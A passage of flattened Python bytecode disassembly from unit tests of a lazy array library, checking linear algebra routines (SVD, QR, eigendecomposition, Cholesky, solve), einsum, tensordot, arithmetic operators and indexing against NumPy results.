plot_history_size_footprint CALL_METHOD POP_TOP LOAD_FAST lf LOAD_METHOD plot_history_functions_scatter CALL_METHOD POP_TOP LOAD_FAST lf LOAD_ATTR plot_history_functions_lines LOAD_CONST 2 LOAD_CONST ('log',) CALL_FUNCTION POP_TOP LOAD_FAST lf LOAD_ATTR plot_history_functions_image LOAD_CONST True LOAD_CONST ('rasterize',) CALL_FUNCTION POP_TOP LOAD_FAST lf LOAD_METHOD plot_history_stats CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST la LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST lb LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST la LOAD_FAST lb BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST l1 LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST la LOAD_FAST lb BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST l2 LOAD_FAST l1 LOAD_FAST l2 BINARY_ADD STORE_FAST ly LOAD_FAST ly LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 7 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ly LOAD_METHOD compute CALL_METHOD STORE_FAST y1 LOAD_GLOBAL lazy LOAD_METHOD shared_intermediates CALL_METHOD SETUP_WITH to 142 POP_TOP LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST la LOAD_FAST lb BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST l1 LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST la LOAD_FAST lb BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST l2 LOAD_FAST l1 LOAD_FAST l2 BINARY_ADD STORE_FAST ly POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST ly LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ly LOAD_METHOD compute CALL_METHOD STORE_FAST y2 LOAD_GLOBAL assert_allclose LOAD_FAST y1 LOAD_FAST y2 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (2, 3, 4, 5, 6) LOAD_FAST backend CALL_FUNCTION CALL_METHOD STORE_FAST lx LOAD_GLOBAL do LOAD_CONST 'transpose' LOAD_FAST lx LOAD_CONST (1, 0, 3, 2, 4) CALL_FUNCTION STORE_FAST l1 LOAD_GLOBAL do LOAD_CONST 'transpose' LOAD_FAST l1 LOAD_CONST (1, 0, 3, 2, 4) CALL_FUNCTION STORE_FAST l2 LOAD_FAST l2 LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST lx COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST l2 LOAD_ATTR deps LOAD_FAST lx BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST l1 LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST l2 LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST lx LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_FAST l2 LOAD_METHOD compute CALL_METHOD CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (2, 3, 4, 5, 6) LOAD_FAST backend CALL_FUNCTION CALL_METHOD STORE_FAST lx LOAD_GLOBAL do LOAD_CONST 'reshape' LOAD_FAST lx LOAD_CONST (6, 4, 30) CALL_FUNCTION STORE_FAST l1 LOAD_GLOBAL do LOAD_CONST 'reshape' LOAD_FAST l1 LOAD_CONST (-1,) CALL_FUNCTION STORE_FAST l2 LOAD_FAST l1 LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST l2 LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST l2 LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST lx COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST l2 LOAD_ATTR deps LOAD_FAST lx BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST lx LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_METHOD flatten CALL_METHOD LOAD_GLOBAL to_numpy LOAD_FAST l2 LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_CONST 1e-06 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST backend LOAD_CONST 'sparse' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_CONST "Sparse doesn't support 'linalg.svd' yet..." CALL_METHOD POP_TOP LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (4, 5) LOAD_FAST backend LOAD_FAST dtype CALL_FUNCTION CALL_METHOD STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'linalg.svd' LOAD_FAST x CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST U STORE_FAST s STORE_FAST VH LOAD_GLOBAL shape LOAD_FAST U CALL_FUNCTION LOAD_CONST (4, 4) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL shape LOAD_FAST s CALL_FUNCTION LOAD_CONST (4,) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL shape LOAD_FAST VH CALL_FUNCTION LOAD_CONST (4, 5) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL astype LOAD_FAST s LOAD_FAST dtype CALL_FUNCTION STORE_FAST s LOAD_FAST U LOAD_GLOBAL do LOAD_CONST 'reshape' LOAD_FAST s LOAD_CONST (-1, 1) CALL_FUNCTION LOAD_FAST VH BINARY_MULTIPLY BINARY_MATRIX_MULTIPLY STORE_FAST ly LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST x LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST backend LOAD_CONST 'sparse' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_CONST "Sparse doesn't support 'linalg.qr' yet..." CALL_METHOD POP_TOP LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (4, 5) LOAD_FAST backend CALL_FUNCTION CALL_METHOD STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'linalg.qr' LOAD_FAST x CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST Q STORE_FAST R LOAD_GLOBAL shape LOAD_FAST Q CALL_FUNCTION LOAD_CONST (4, 4) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL shape LOAD_FAST R CALL_FUNCTION LOAD_CONST (4, 5) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST Q LOAD_FAST R BINARY_MATRIX_MULTIPLY STORE_FAST ly LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST x LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST backend LOAD_CONST ('cupy', 'dask', 'torch', 'mars', 'sparse') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_FAST backend FORMAT_VALUE LOAD_CONST " doesn't support 'linalg.eig' yet..." BUILD_STRING CALL_METHOD POP_TOP LOAD_CONST 20 STORE_FAST d LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_FAST d LOAD_FAST d BUILD_TUPLE LOAD_FAST backend LOAD_FAST dtype CALL_FUNCTION CALL_METHOD STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'linalg.eig' LOAD_FAST x CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST el STORE_FAST ev LOAD_GLOBAL shape LOAD_FAST el CALL_FUNCTION LOAD_FAST d BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL shape LOAD_FAST ev CALL_FUNCTION LOAD_FAST d LOAD_FAST d BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ev LOAD_GLOBAL do LOAD_CONST 'reshape' LOAD_FAST el LOAD_CONST (-1, 1) CALL_FUNCTION LOAD_GLOBAL do LOAD_CONST 'linalg.inv' LOAD_FAST ev CALL_FUNCTION BINARY_MULTIPLY BINARY_MATRIX_MULTIPLY STORE_FAST ly LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST x LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST backend LOAD_CONST ('dask', 'mars', 'sparse') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_FAST backend FORMAT_VALUE LOAD_CONST " doesn't support 'linalg.eig' yet..." BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (5, 5) LOAD_FAST backend LOAD_FAST dtype CALL_FUNCTION CALL_METHOD STORE_FAST x LOAD_FAST x LOAD_FAST x LOAD_ATTR H BINARY_ADD STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'linalg.eigh' LOAD_FAST x CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST el STORE_FAST ev LOAD_GLOBAL shape LOAD_FAST el CALL_FUNCTION LOAD_CONST (5,) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL shape LOAD_FAST ev CALL_FUNCTION LOAD_CONST (5, 5) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ev LOAD_GLOBAL do LOAD_CONST 'reshape' LOAD_FAST el LOAD_CONST (-1, 1) CALL_FUNCTION LOAD_FAST ev LOAD_ATTR H BINARY_MULTIPLY BINARY_MATRIX_MULTIPLY STORE_FAST ly LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST x LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST backend LOAD_CONST ('sparse',) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_FAST backend FORMAT_VALUE LOAD_CONST " doesn't support 'linalg.cholesky' yet..." BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (5, 5) LOAD_FAST backend LOAD_FAST dtype CALL_FUNCTION CALL_METHOD STORE_FAST x LOAD_FAST x LOAD_FAST x LOAD_ATTR H BINARY_MATRIX_MULTIPLY STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'linalg.cholesky' LOAD_FAST x CALL_FUNCTION STORE_FAST C LOAD_GLOBAL shape LOAD_FAST C CALL_FUNCTION LOAD_CONST (5, 5) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST C LOAD_FAST C LOAD_ATTR H BINARY_MATRIX_MULTIPLY STORE_FAST ly LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST x LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST backend LOAD_CONST ('sparse',) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_FAST backend FORMAT_VALUE LOAD_CONST " doesn't support 'linalg.solve' yet..." BUILD_STRING CALL_METHOD POP_TOP LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (5, 5) LOAD_FAST backend LOAD_FAST dtype CALL_FUNCTION CALL_METHOD STORE_FAST A LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (5,) LOAD_FAST backend LOAD_FAST dtype CALL_FUNCTION CALL_METHOD STORE_FAST y LOAD_GLOBAL do LOAD_CONST 'linalg.solve' LOAD_FAST A LOAD_FAST y CALL_FUNCTION STORE_FAST x LOAD_GLOBAL shape LOAD_FAST x CALL_FUNCTION LOAD_CONST (5,) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL do LOAD_CONST 'tensordot' LOAD_FAST A LOAD_FAST x LOAD_CONST 1 LOAD_CONST ('axes',) CALL_FUNCTION STORE_FAST ly LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST y LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST () LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST 3 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST z LOAD_FAST x LOAD_FAST a BINARY_MULTIPLY STORE_FAST a LOAD_FAST x LOAD_FAST b BINARY_MULTIPLY STORE_FAST b LOAD_FAST a LOAD_FAST y BINARY_MULTIPLY STORE_FAST a LOAD_FAST b LOAD_FAST y BINARY_MULTIPLY STORE_FAST b LOAD_FAST a LOAD_FAST z INPLACE_MULTIPLY STORE_FAST a LOAD_FAST b LOAD_FAST z INPLACE_MULTIPLY STORE_FAST b LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST b LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST () LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST 3 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST z LOAD_FAST x LOAD_FAST a BINARY_ADD STORE_FAST a LOAD_FAST x LOAD_FAST b BINARY_ADD STORE_FAST b LOAD_FAST a LOAD_FAST y BINARY_ADD STORE_FAST a LOAD_FAST b LOAD_FAST y BINARY_ADD STORE_FAST b LOAD_FAST a LOAD_FAST z INPLACE_ADD STORE_FAST a LOAD_FAST b LOAD_FAST z INPLACE_ADD STORE_FAST b LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST b LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST () LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST 3 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST z LOAD_FAST x LOAD_FAST a BINARY_SUBTRACT STORE_FAST a LOAD_FAST x LOAD_FAST b BINARY_SUBTRACT STORE_FAST b LOAD_FAST a LOAD_FAST y BINARY_SUBTRACT STORE_FAST a LOAD_FAST b LOAD_FAST y BINARY_SUBTRACT STORE_FAST b LOAD_FAST a LOAD_FAST z INPLACE_SUBTRACT STORE_FAST a LOAD_FAST b LOAD_FAST z INPLACE_SUBTRACT STORE_FAST b LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST b LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST () LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST 3 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST z LOAD_FAST x LOAD_FAST a BINARY_TRUE_DIVIDE STORE_FAST a LOAD_FAST x LOAD_FAST b BINARY_TRUE_DIVIDE STORE_FAST b LOAD_FAST a LOAD_FAST y BINARY_TRUE_DIVIDE STORE_FAST a LOAD_FAST b LOAD_FAST y BINARY_TRUE_DIVIDE STORE_FAST b LOAD_FAST a LOAD_FAST z INPLACE_TRUE_DIVIDE STORE_FAST a LOAD_FAST b LOAD_FAST z INPLACE_TRUE_DIVIDE STORE_FAST b LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST b LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST () LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST 3 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST z LOAD_FAST x LOAD_FAST a BINARY_FLOOR_DIVIDE STORE_FAST a LOAD_FAST x LOAD_FAST b BINARY_FLOOR_DIVIDE STORE_FAST b LOAD_FAST a LOAD_FAST y BINARY_FLOOR_DIVIDE STORE_FAST a LOAD_FAST b LOAD_FAST y BINARY_FLOOR_DIVIDE STORE_FAST b LOAD_FAST a LOAD_FAST z INPLACE_FLOOR_DIVIDE STORE_FAST a LOAD_FAST b LOAD_FAST z INPLACE_FLOOR_DIVIDE STORE_FAST b LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST b LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST () LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST 3 LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST z LOAD_FAST x LOAD_FAST a BINARY_POWER STORE_FAST a LOAD_FAST x LOAD_FAST b BINARY_POWER STORE_FAST b LOAD_FAST a LOAD_FAST y BINARY_POWER STORE_FAST a LOAD_FAST b LOAD_FAST y BINARY_POWER STORE_FAST b LOAD_FAST a LOAD_FAST z INPLACE_POWER STORE_FAST a LOAD_FAST b LOAD_FAST z INPLACE_POWER STORE_FAST b LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST b LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 3, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x STORE_FAST y STORE_FAST z LOAD_FAST x LOAD_FAST a BINARY_MATRIX_MULTIPLY STORE_FAST a LOAD_FAST x LOAD_FAST b BINARY_MATRIX_MULTIPLY STORE_FAST b LOAD_FAST a LOAD_FAST y BINARY_MATRIX_MULTIPLY STORE_FAST a LOAD_FAST b LOAD_FAST y BINARY_MATRIX_MULTIPLY STORE_FAST b LOAD_FAST a LOAD_FAST z BINARY_MATRIX_MULTIPLY STORE_FAST a LOAD_FAST b LOAD_FAST z INPLACE_MATRIX_MULTIPLY STORE_FAST b LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST b LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (2, 3, 4, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b SETUP_LOOP to 78 LOAD_CONST 0 LOAD_CONST (1, Ellipsis, -1) LOAD_CONST 0 LOAD_CONST 1 LOAD_GLOBAL slice LOAD_CONST None CALL_FUNCTION LOAD_CONST -2 BUILD_TUPLE BUILD_LIST GET_ITER FOR_ITER to 76 STORE_FAST key LOAD_GLOBAL assert_allclose LOAD_FAST a LOAD_FAST key BINARY_SUBSCR LOAD_FAST b LOAD_FAST key BINARY_SUBSCR LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_FAST shape LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST a CALL_METHOD STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'diag' LOAD_FAST a LOAD_FAST k CALL_FUNCTION STORE_FAST ad LOAD_GLOBAL do LOAD_CONST 'diag' LOAD_FAST b LOAD_FAST k CALL_FUNCTION STORE_FAST bd LOAD_GLOBAL assert_allclose LOAD_FAST ad LOAD_FAST bd LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (2, 3, 4, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (4, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (6, 2, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST c LOAD_CONST 'abcd,cd,fab->fd' STORE_FAST eq LOAD_GLOBAL do LOAD_CONST 'einsum' LOAD_FAST eq LOAD_FAST a LOAD_FAST b LOAD_FAST c CALL_FUNCTION STORE_FAST x1 LOAD_GLOBAL map LOAD_GLOBAL lazy LOAD_ATTR array LOAD_FAST a LOAD_FAST b LOAD_FAST c BUILD_TUPLE CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST la STORE_FAST lb STORE_FAST lc LOAD_GLOBAL do LOAD_CONST 'einsum' LOAD_FAST eq LOAD_FAST la LOAD_FAST lb LOAD_FAST lc CALL_FUNCTION STORE_FAST x2 LOAD_GLOBAL assert_allclose LOAD_FAST x1 LOAD_FAST x2 LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (7, 3, 4, 5) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (5, 6, 3, 2) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'tensordot' LOAD_FAST a LOAD_FAST b LOAD_CONST (1, 3) LOAD_CONST (2, 0) BUILD_LIST LOAD_CONST ('axes',) CALL_FUNCTION STORE_FAST x1 LOAD_GLOBAL map LOAD_GLOBAL lazy LOAD_ATTR array LOAD_FAST a LOAD_FAST b BUILD_TUPLE CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST la STORE_FAST lb LOAD_GLOBAL do LOAD_CONST 'tensordot' LOAD_FAST la LOAD_FAST lb LOAD_CONST (1, 3) LOAD_CONST (2, 0) BUILD_LIST LOAD_CONST ('axes',) CALL_FUNCTION STORE_FAST x2 LOAD_GLOBAL assert_allclose LOAD_FAST x1 LOAD_FAST x2 LOAD_METHOD compute CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (3, 4) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST a LOAD_FAST b BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST c LOAD_FAST c LOAD_METHOD get_function LOAD_FAST a LOAD_FAST b BUILD_LIST CALL_METHOD STORE_FAST f LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (3, 4) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST y LOAD_FAST f LOAD_FAST x LOAD_FAST y BUILD_LIST CALL_FUNCTION STORE_FAST z LOAD_GLOBAL shape LOAD_FAST z CALL_FUNCTION LOAD_CONST (2, 4) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pickle STORE_FAST pickle LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (2, 3) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST a LOAD_GLOBAL lazy LOAD_ATTR Variable LOAD_CONST (3, 4) LOAD_CONST 'numpy' LOAD_CONST ('shape', 'backend') CALL_FUNCTION STORE_FAST b LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST a LOAD_FAST b BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST c 